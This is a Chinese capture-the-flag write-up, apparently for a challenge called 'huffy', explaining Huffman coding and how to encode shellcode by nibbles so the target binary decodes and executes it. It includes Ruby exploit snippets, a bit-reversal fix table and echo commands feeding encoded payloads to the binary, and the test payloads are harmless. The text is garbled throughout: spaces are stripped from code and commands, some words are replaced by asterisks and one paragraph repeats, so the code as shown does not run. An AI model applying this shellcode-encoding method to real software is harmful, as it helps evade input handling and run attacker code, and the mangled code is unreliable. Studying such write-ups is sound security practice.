Huffy：哈夫曼编码的shellcode

初次见到“shellcode”的时候，感觉非常高大上，其实接触久了之后你会发现它实际上只是一段代码(也可以是填充数据)，是一种用来发送到服务器利用特定漏洞的针对性代码，一般可以利用它获取一定的权限。今天我们将共同学习一种新的shellcode编码方式——Huffy，即基于哈夫曼编码的shellcode，这种方式利用哈夫曼树压缩数据的特性来对shellcode进行数据压缩，以达到“短小精悍”的目的。

哈夫曼树

因为这种方法叫做Huffy，并且最近我刚刚解决了一个有关哈夫曼树的问题，所以首先我想到的就是哈夫曼树。

如果你还不知道什么是哈夫曼树，那我就在这里简单提一下。哈夫曼树是一种相当简单的数据结构，它可以用来进行数据压缩。哈夫曼树的建立是通过读取输入的内容，然后创建一棵树，出现频率***的字符靠近树的顶部，而频率***的字符靠近树的底部。

为了压缩数据，它会遍历整个树以生成编码位(左边的编码为0，右边的编码为1)。一个字符越靠近树的顶部，那么该字符编码之后所用的位数越少，这也被称为“前缀码”，这是一种非常简洁的属性，该属性意味着没有编码的位串会作为另一个位串的前缀(换句话说，当你阅读二进制位流的时候，你就能立刻知道解码该字符何时结束)。

例如下面的哈夫曼树：

通过该哈夫曼树，我们就能知道它来自一个包含9个字符的文本，其中有5个字符是字母“o”，3个字符是字母“d”，1个字符是字母“g”。

所以，当你用该树压缩数据时，你可以将单词“dog”作如下处理：

d=00(左左)
o=1(右)
g=01(左右)

所以，“dog”将会编码成位流“00101”。

如果你看到以位流“01100”表示的字符串，你就可以按照上面哈夫曼树来解码：左右(g)、右(o)、左左(d)，所以解码得到该字符串内容为“god”。

如果在一个字符串中所有字符的数目都相同，并且不同字符的种类数是2的整数幂(例如：“aabbccdd”中，不同字符的种类数为4，即2的平方)，你就需要通过一个平衡的哈夫曼树来表示。例如，字符串“aaabbbcccddd”的表示将会是如下形式的哈夫曼树：

通过查找上图中的哈夫曼树可知，字符串“abcd”将会编码成“00011011”。哈夫曼树的这种特性非常重要。#p#

程序分析

当你运行程序时，它将提示你输入，在你输入相应内容之后，它将输出一堆毫无意义的东西(尽管输出使我们理解变得简单多了)。可以看下这个例子：

$echo'thisisateststring'|./huffy
CWD:/home/ron/gits2015/huffy
NibbleFrequency
---------------
00.113636
10.022727
20.113636
30.090909
40.090909
50.022727
60.181818
70.227273
80.022727
90.068182
a0.022727
b0.000000
c0.000000
d0.000000
e0.022727
f0.000000
Read22bytes
Twolowestfrequencies:0.000000and0.000000
Twolowestfrequencies:0.000000and0.000000
Twolowestfrequencies:0.000000and0.000000
Twolowestfrequencies:0.000000and0.022727
Twolowestfrequencies:0.022727and0.022727
Twolowestfrequencies:0.022727and0.022727
Twolowestfrequencies:0.022727and0.045455
Twolowestfrequencies:0.045455and0.068182
Twolowestfrequencies:0.068182and0.090909
Twolowestfrequencies:0.090909and0.113636
Twolowestfrequencies:0.113636and0.113636
Twolowestfrequencies:0.159091and0.181818
Twolowestfrequencies:0.204545and0.227273
Twolowestfrequencies:0.227273and0.227273
Twolowestfrequencies:0.340909and0.431818
Twolowestfrequencies:0.454545and0.454545
Twolowestfrequencies:0.772727and0.909091
Breaking!
0--0-->0x9863348--1-->0x9863390--1-->0x98633c0--1-->0x98633d8
1--0-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
2--1-->0x9863348--1-->0x9863390--1-->0x98633c0--1-->0x98633d8
3--1-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
4--0-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d8
5--0-->0x98632d0--0-->0x9863300--1-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d8
6--1-->0x9863360--0-->0x98633a8--0-->0x98633d8
7--1-->0x9863378--1-->0x98633a8--0-->0x98633d8
8--0-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
9--1-->0x9863300--1-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d8
a--1-->0x98632d0--0-->0x9863300--1-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d8
b--0-->0x9863258--0-->0x9863270--0-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
c--1-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
d--1-->0x9863270--0-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
e--1-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
f--1-->0x9863258--0-->0x9863270--0-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8
Encodinginput...
ASCIIEncoded:011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
BinaryEncoded:
h@V????Q?O?-????
Executingencodedinput...
Segmentationfault

可能理解起来需要花一点时间，但是一旦你明白了，你会发现输出的内容很直截了当。

***部分分析了每个半字节(半字节代表一个十六进制字符或字节的一半)出现的频率。这部分结果告诉我们程序通过半字节的形式对数据进行了压缩，然后给出了输入内容中字符出现频率的分析，***显示了16个可能半字节的编码结果。

编码之后，会将这些位转换成一个很长的二进制码流，然后运行它们。

流程总结：首先输入一些数据，然后以半字节为单位用哈夫曼编码进行压缩，***将其转换成可执行的代码，此时我们就得到了利用哈夫曼算法压缩过的shellcode。

为了简单起见，我还是用一些shell代码来清理输出的内容，以方便我更好地分析到底发生了什么：

$ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'

得到如下结果：

[...]
00111
1010000
21111
31000
40010
5001010
6100
7110
800000
911010
a101010
b0000110000
c10110000
d100110000
e1110000
f1000110000
Encodinginput...
ASCIIEncoded:011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101

如果你尝试输入“AAAA”，你将得到如下结果：

$echo'AAAA'|./huffy|sed-re's/--//'-e's/-->.{9}--//g'-e's/-->.*//'[...]
00101
10
20000000000001101
3101101
411
51001101
610001101
7100001101
81000001101
910000001101
a11101
b100000001101
c1000000001101
d10000000001101
e100000000001101
f1000000000001101
Encodinginput...
ASCIIEncoded:110110110110101010111
BinaryEncoded:

如果你尝试输入“AAAA”，你将得到如下结果：

你可能知道“AAAA”=“41414141”(ASCII码表示)，所以’4’和’1’就成了最常用的半字节，而由上面图中也能证实，即’4’被编码成’11’，’1’被编码成’0’。我们希望以一个换行符’\x0a’结束，所以’0’和’a’也应该进行编码。

如果我们将这些字符分开，可以得到如下内容：

ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111

需要注意的是，图中编码后的结果都被逆序了，虽然’11’和’0’其实并不受逆序的影响，但是’1010’=’0101’=’0’，’10111’=’11101’=’a’。说实话，刚开始我并没有注意到逆序问题的存在，但我以一个新的方式解决了这个问题。

还记得前面说的吗?如果有一个含有2的幂次方个节点的平衡树，所有的字符都将被编码成相同的位数。事实证明，结果有16个不同的半字节，所以如果你输入的字符串中有偶数个半字节，那么它们都将被编码成4位：

$echo-ne'\x01\x23\x45\x67\x89\xab\xcd\xef'|./huffy|sed-re's/--//'-e's/-->.{9}--//g'-e's/-->.*//'00000
10001
20011
30010
40110
50111
60101
70100
81100
91101
a1111
b1110
c1010
d1011
e1001
f1000

它们不仅会被编码成4位，而且每一种可能的4位值都被列出来了。#p#

方法使用

其实，这种方法使用起来非常简单，需要做的仅仅是简单的查表：

1、首先算出半字节对应的编码后的二进制位;

2、将这些半字节作为shellcode写出来;

3、填充shellcode，直到每个半字节都有相同的数量。

这已经相当的直观了，你可以参考我的全部利用代码，或者利用下面的片段根据实际情况进行拼接。

首先，创建一个表(下面是我手工创建的)：

@@table={"0000"=>0x0,"0001"=>0x1,"0011"=>0x2,"0010"=>0x3,"0110"=>0x4,"0111"=>0x5,"0101"=>0x6,"0100"=>0x7,"1100"=>0x8,"1101"=>0x9,"1111"=>0xa,"1110"=>0xb,"1010"=>0xc,"1011"=>0xd,"1001"=>0xe,"1000"=>0xf,
}

然后，将shellcode进行编码：

defencode_nibble(b)
binary=b.to_s(2).rjust(4,'0')
puts("Lookingup%s...=>%x"%[binary,@@table[binary]])return@@table[binary]end@@hist=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,]#shellcode="\xeb\xfe"#shellcode="\xcd\x03"shellcode="helloworld,thisismyshellcode!"shellcode.each_bytedo|b|
n1=b>>4
n2=b&0x0f
puts("n1=%x"%n1)
puts("n2=%x"%n2)@@hist[n1]+=1
@@hist[n2]+=1
out+=((encode_nibble(n1)<<4)|(encode_nibble(n2)&0x0F)).chrend

需要注意一下，我保存了一个直方图，利用它可以使***一步的实现更加简单，然后根据需要填充字符串：

defget_padding()
result=""
max=@@hist.max
needed_nibbles=[]0.upto(@@hist.length-1)do|i|
needed_nibbles<<[i]*(max-@@hist[i])
needed_nibbles.flatten!end
if((needed_nibbles.length%2)!=0)
puts("Weneedanoddnumberofnibbles!AddsomeNOPsorsomething:(")exit
end
0.step(needed_nibbles.length-1,2)do|i|
n1=needed_nibbles[i]
n2=needed_nibbles[i+1]
result+=((encode_nibble(n1)<<4)|(encode_nibble(n2)&0x0f)).chrend
returnresultend

现在输出中应该包含一串对应shellcode的半字节，应该是这样的。

***，我们将其输出：

defoutput(str)
print"echo-ne'"
str.bytes.eachdo|b|
print("\\x%02x"%b)end
puts("'>in;./huffy<in")end

#p#

修复bug

你注意到刚刚我哪里做错了吗?其实，刚刚我犯了个大错误，当我试图编码“hello world, this is my shellcode!”时，我得到如下结果：

echo-ne'\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'>in;./huffy<in

上面结果转换为可视字符后为：

ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????

发生了什么事?这不是我之前输入的字符串啊。

但是，观察到字符串以“ajcco”开头，而我之前输入的字符串是以“hello”开头。然后，半字节和字符的对应表就得到啦，如下所示：

00000
10001
20011
30010
40110
50111
60101
70100
81100
91101
a1111
b1110
c1010
d1011
e1001
f1000

为了解决这个问题，我试了下面的shellcode：

"\x01\x23\x45\x67\x89\xab\xcd\xef"

然后将其编码，得到如下结果：

0000100001001100001010100110111000011001010111010011101101111111

以十六进制表示为：

"\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

或者，以半字节形式表示为：

0000
1000
0100
1100
0010
1010
0110
1110
0001
1001
0101
1101
0011
1011
0111
1111

如果多花点精力观察的话，我应该早就发现这个很明显的问题啦：逆序问题。

因为之前我急于完成它，我没有注意到每个半字节的各个位都被逆序了(1000而不是0001，0100而不是0010等等)。

虽然之前我没有注意这个问题，但是我发现所有的结果都是完全错误的，所以我做了以下内容：

hack_table={
0x02=>0x08,0x0d=>0x09,0x00=>0x00,0x08=>0x02,
0x0f=>0x01,0x07=>0x03,0x03=>0x07,0x0c=>0x06,
0x04=>0x04,0x0b=>0x05,0x01=>0x0f,0x0e=>0x0e,
0x06=>0x0c,0x09=>0x0d,0x05=>0x0b,0x0a=>0x0a
}
hack_out=""
out.bytes.eachdo|b|
n1=hack_table[b>>4]
n2=hack_table[b&0x0f]
hack_out+=((n1<<4)|(n2&0x000f)).chrendoutput(hack_out)

然后用原来的测试shellcode重新运行了该程序：

$ruby./sploit.rb
echo-ne'\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'>in;./huffy<in

运行上面我所得到的编码之后的代码，结果为：

$echo-ne'\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'>in;./huffy<in

二进制编码结果为：

helloworld,thisismyshellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
Executingencodedinput...
Segmentationfault

现在看起来正常了，通过修改那个错误已经可以正确地解码了。下面再试一下我比较喜欢的两个测试字符串“\xcd\x03”(调试断点，也可使用“\ xcc”)和“\ xeb \ xfe”(无限循环)：

$ruby./sploit.rb
echo-ne'\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a'>in;./huffy<in
$echo-ne'\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a'>in;./huffy<in
BinaryEncoded:
?Eg???
Executingencodedinput...
Trace/breakpointtrap
$ruby./sploit.rb
echo-ne'\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda'>in;./huffy<in
$echo-ne'\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda'>in;./huffy<in
BinaryEncoded:
??"3DUfw??????
Executingencodedinput...
[...infiniteloop...]

总结

总的来说，利用哈夫曼编码处理shellcode是一种相当直观的方法，通过以半字节为单位压缩你输入的数据，然后就能得到编码之后的shellcode，经过验证，经过这种方法压缩之后的shellcode能够正常运行。

***，在使用该方法的时候，可以将目标shellcode填充得到1024个半字节，接着进行哈夫曼编码并进行利用。